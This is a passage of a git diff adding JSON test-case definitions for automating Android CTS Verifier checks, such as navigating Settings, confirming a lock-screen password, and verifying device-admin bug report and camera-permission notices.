key\",\"actionId\":\"f09a15f3-7bf2-4047-96f6-d08cb70105bc\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.inputmethod.latin:id/key_pos_ime_action\"}],\"childrenIdList\":[\"9c3dae13-f0b5-4f59-9fa7-87f94fe2bd18\",\"3935709f-effe-474a-96d0-07dd056d34f9\",\"f09a15f3-7bf2-4047-96f6-d08cb70105bc\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Confirm Password lock \"a14725836\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.266000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/860c941f-b0ac-4251-9e2d-78cab6e65c90 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/860c941f-b0ac-4251-9e2d-78cab6e65c90
new file mode 100644
index 0000000..091db01
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/860c941f-b0ac-4251-9e2d-78cab6e65c90
@@ -0,0 +1 @@
+{"uuid":"860c941f-b0ac-4251-9e2d-78cab6e65c90","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch screen lock message setting page\",\"actionId\":\"860c941f-b0ac-4251-9e2d-78cab6e65c90\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Display\",\"actionId\":\"5657fc91-a4d1-442f-8506-c92d4fcc1408\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Display\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1cecaf5d-b9c3-46fa-a98e-76568935ebfc\",\"displayText\":\"Display\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"976d2c61-9b67-4107-aad4-2a24e805cbc1\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"8dd9b8cf-d97f-4c4c-b56b-e44f78cbd531\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":410.0,\"x2\":45.5,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.0,\"y1\":406.5,\"x2\":63.0,\"y2\":445.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"\"},{\"uuid\":\"7a05f8cc-6106-4698-8f67-d33d87353d9e\",\"displayText\":\"Display\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"75c83883-7529-492a-abc2-907a7ffdc1ea\",\"displayText\":\"Display\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Display\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":408.0,\"x2\":108.25,\"y2\":427.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-6.375,\"y\":1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Display\"},{\"uuid\":\"c3571ae7-973d-4607-8358-ca7ba3c89067\",\"displayText\":\"Styles, wallpapers, screen timeout, font size\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Styles, wallpapers, screen timeout, font size\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":427.0,\"x2\":300.5,\"y2\":443.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Styles, wallpapers, screen timeout, font size\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":394.0,\"x2\":346.0,\"y2\":457.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"firstText\":\"Display\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":394.0,\"x2\":360.0,\"y2\":457.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":92.0,\"y\":416.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":88.0,\"y\":9.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"75c83883-7529-492a-abc2-907a7ffdc1ea\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Display\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":51.0,\"y1\":405.0,\"x2\":133.0,\"y2\":428.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Display\",\"actionId\":\"8e64d631-18d8-4b32-8f34-28dd626bdb97\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Display\"},{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Lock screen page\",\"actionId\":\"25bb9b48-4d44-407d-9d34-59bc49ed2310\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Lock screen\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"426f10c1-2d6a-4b6a-971c-077f207020a9\",\"displayText\":\"Lock screen\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"310ae8be-ec57-485a-bacc-dd905b003578\",\"displayText\":\"Lock screen\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"1808208b-fb1e-452f-a551-d3ae51d76bd9\",\"displayText\":\"Lock screen\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Lock screen\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":615.25,\"x2\":139.25,\"y2\":634.25},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.375,\"y\":3.75,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Lock screen\"},{\"uuid\":\"c33c03ea-6511-49f5-a418-98abd8717a23\",\"displayText\":\"Show all notification content\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Show all notification content\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":634.25,\"x2\":218.0,\"y2\":650.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Show all notification content\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":601.25,\"x2\":346.0,\"y2\":664.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Lock screen\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":601.25,\"x2\":360.0,\"y2\":664.75},\"clickedPos\":{\"confidentLevel\":2,\"x\":105.5,\"y\":621.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":74.5,\"y\":12.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"1808208b-fb1e-452f-a551-d3ae51d76bd9\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Lock screen\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":53.0,\"y1\":613.0,\"x2\":158.0,\"y2\":629.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Lock screen\",\"actionId\":\"c5643a4f-3a9d-47c2-ba9d-d1b2bad11f31\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Lock screen\"}],\"childrenIdList\":[\"5657fc91-a4d1-442f-8506-c92d4fcc1408\",\"8e64d631-18d8-4b32-8f34-28dd626bdb97\",\"a3737847-5957-4a6a-a50c-242e80b93d8a\",\"25bb9b48-4d44-407d-9d34-59bc49ed2310\",\"c5643a4f-3a9d-47c2-ba9d-d1b2bad11f31\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch screen lock message setting page","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.213000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/863293b0-236f-46c2-9707-f3bf141fc9f8 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/863293b0-236f-46c2-9707-f3bf141fc9f8
new file mode 100644
index 0000000..b83787f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/863293b0-236f-46c2-9707-f3bf141fc9f8
@@ -0,0 +1 @@
+{"uuid":"863293b0-236f-46c2-9707-f3bf141fc9f8","details":"{\"type\":\"CompoundAction\",\"name\":\"Start CTS-V\",\"actionId\":\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":1000,\"createdBy\":\"pololee\",\"childrenActions\":[],\"childrenIdList\":[\"023dd500-a856-4a6e-a2bb-a94d616de615\",\"d725d8a2-cb38-4a29-9857-a510943cf7fd\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Start CTS-V","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325438.988000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/873d0871-f3ae-42db-a3e2-f298e3c8c9d9 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/873d0871-f3ae-42db-a3e2-f298e3c8c9d9
new file mode 100644
index 0000000..24db031
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/873d0871-f3ae-42db-a3e2-f298e3c8c9d9
@@ -0,0 +1 @@
+{"uuid":"873d0871-f3ae-42db-a3e2-f298e3c8c9d9","details":"{\"type\":\"CompoundAction\",\"name\":\"03-Sharing of requested bugreport accepted while being taken\",\"actionId\":\"873d0871-f3ae-42db-a3e2-f298e3c8c9d9\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Sharing of requested bugreport accepted while being taken\",\"actionId\":\"e163e6a4-2572-45c4-9ea9-4a0999bc1353\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Sharing of requested bugreport accepted while being taken\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Taking bugreport...\\\" is present\",\"actionId\":\"efbabf61-bb6f-4165-b885-7150214b8150\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Taking bug report\"}]},\"clickAfterValidation\":false},{\"type\":\"ClickAction\",\"name\":\"Click Action, Taking bug report…\",\"actionId\":\"b995a157-d4af-4b8d-a0ec-ef098de44996\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Taking bug report\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY Message \\\"Your IT admin requested a bug report to help troubleshoot this device\\\" is present\",\"actionId\":\"17a65e69-8b25-44f4-a28c-ab28a5bf5b87\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Your IT admin requested a bug report to help troubleshoot this device\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Taking bug report\\\" notification is no longer present\",\"actionId\":\"34cc42f0-cadf-43cd-94f3-0119982125f1\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Taking bug report\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY \\\"Sharing bug report\\\" progress bar is present\",\"actionId\":\"d7e7cdf9-a92d-4a4e-ae9f-e91ebf3fe14f\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"text\",\"operator\":\"contains\",\"value\":\"Sharing bug report\"}]},\"clickAfterValidation\":false},{\"type\":\"PythonScriptAction\",\"name\":\"\\\"Bugreport shared successfully\\\" is present\",\"actionId\":\"65925e1c-fe18-4631-a28b-881c82f760d8\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nfrom python_uiautomator.ui_selector import UiSelector\\n\\nd= Device.create_device_by_slot(0)\\n\\nbugreport_selector = UiSelector().text(\\\"Bugreport shared successfully\\\")\\nd.wait_for(selector=bugreport_selector, timeout=180)\\nd.text(\\\"Bugreport shared successfully\\\").swipe()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"f43007cc-eebc-4ba5-97a8-872e904033a4\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"4f3ec13b-589a-4ca3-b456-7224028d0604\",\"e163e6a4-2572-45c4-9ea9-4a0999bc1353\",\"4275df2b-8d38-49a9-b956-6d5f06257f5a\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"efbabf61-bb6f-4165-b885-7150214b8150\",\"b995a157-d4af-4b8d-a0ec-ef098de44996\",\"17a65e69-8b25-44f4-a28c-ab28a5bf5b87\",\"377a3a65-66d4-4e05-ac35-b9e4196639e9\",\"15c75efc-b173-4eed-9a2c-164886355c98\",\"34cc42f0-cadf-43cd-94f3-0119982125f1\",\"d7e7cdf9-a92d-4a4e-ae9f-e91ebf3fe14f\",\"65925e1c-fe18-4631-a28b-881c82f760d8\",\"f43007cc-eebc-4ba5-97a8-872e904033a4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"03-Sharing of requested bugreport accepted while being taken","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.072000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/879b4b50-6fba-4899-ad51-c9819adc7dc6 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/879b4b50-6fba-4899-ad51-c9819adc7dc6
new file mode 100644
index 0000000..0d65708
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/879b4b50-6fba-4899-ad51-c9819adc7dc6
@@ -0,0 +1 @@
+{"uuid":"879b4b50-6fba-4899-ad51-c9819adc7dc6","details":"{\"type\":\"CompoundAction\",\"name\":\"16-08-Camera access permission\",\"actionId\":\"879b4b50-6fba-4899-ad51-c9819adc7dc6\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Camera access permission\",\"actionId\":\"65e7d16b-9413-4398-a707-a2461a5b641a\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Camera access permission\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"47d44466-a26c-4ad1-a534-ef2bcd8bcf89\",\"displayText\":\"Camera access permission\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Camera access permission\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":299.0,\"x2\":351.25,\"y2\":341.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":97.0,\"y\":320.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":83.0,\"y\":-0.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"leafNodeContext\":\"47d44466-a26c-4ad1-a534-ef2bcd8bcf89\",\"firstText\":\"Camera access permission\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Camera access permission\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":13.0,\"y1\":311.0,\"x2\":181.0,\"y2\":330.0},\"scrollOrientation\":2,\"scrollMaxNumber\":3},{\"type\":\"ClickAction\",\"name\":\"Click Action, Camera access permission\",\"actionId\":\"9f3dbb0f-75e3-408b-b746-4cc3f196810b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Camera access permission\"},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are not told that your administrator has granted camera access\",\"actionId\":\"1ecae25d-ffd0-4b33-9986-8c1a6aab99c7\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Camera permissions\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1ab23de4-8812-4308-90fb-36f0ed08cfe7\",\"displayText\":\"Camera permissions\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"ad566f5b-4273-4631-9c80-02230840b332\",\"displayText\":\"Camera permissions\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"504a7223-2d81-4167-9244-871fd12317d8\",\"displayText\":\"Camera permissions\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Camera permissions\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":192.25,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-0.375,\"y\":6.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Camera permissions\"},{\"uuid\":\"bb19e360-64dd-4ae7-b092-4104b04e6f9e\",\"displayText\":\"Minimum 1 app\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Minimum 1 app\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":411.0,\"x2\":148.5,\"y2\":427.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Minimum 1 app\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":378.0,\"x2\":346.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Camera permissions\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":378.0,\"x2\":360.0,\"y2\":441.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":128.0,\"y\":395.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":52.0,\"y\":14.25,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"leafNodeContext\":\"504a7223-2d81-4167-9244-871fd12317d8\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Camera permissions\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":64.0,\"y1\":383.0,\"x2\":192.0,\"y2\":408.0}},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"85cdde49-1659-4aeb-a5a0-42fb08d7a6ff\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify that you are told that your administrator has granted camera access\",\"actionId\":\"d59ed507-e043-43d6-9fa3-d7be4faee9b3\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Camera permissions\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"ff05b650-1854-4e0f-a42c-fad64f7e4c3d\",\"displayText\":\"Camera permissions\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"a867fa3a-1877-47e1-9fba-b8aa554eeafb\",\"displayText\":\"Camera permissions\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"c6a0e502-1b90-459c-86d5-a48cd8552de6\",\"displayText\":\"Camera permissions\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Camera permissions\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":63.0,\"y1\":392.0,\"x2\":192.25,\"y2\":411.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":2.125,\"y\":2.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":2,\"firstText\":\"Camera permissions\"},{\"uuid\":\"f4818694-d7d2-4b18-8278-72035d572cb8\",\"displayText\":\"Minimum 1 app\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"Minimum 1 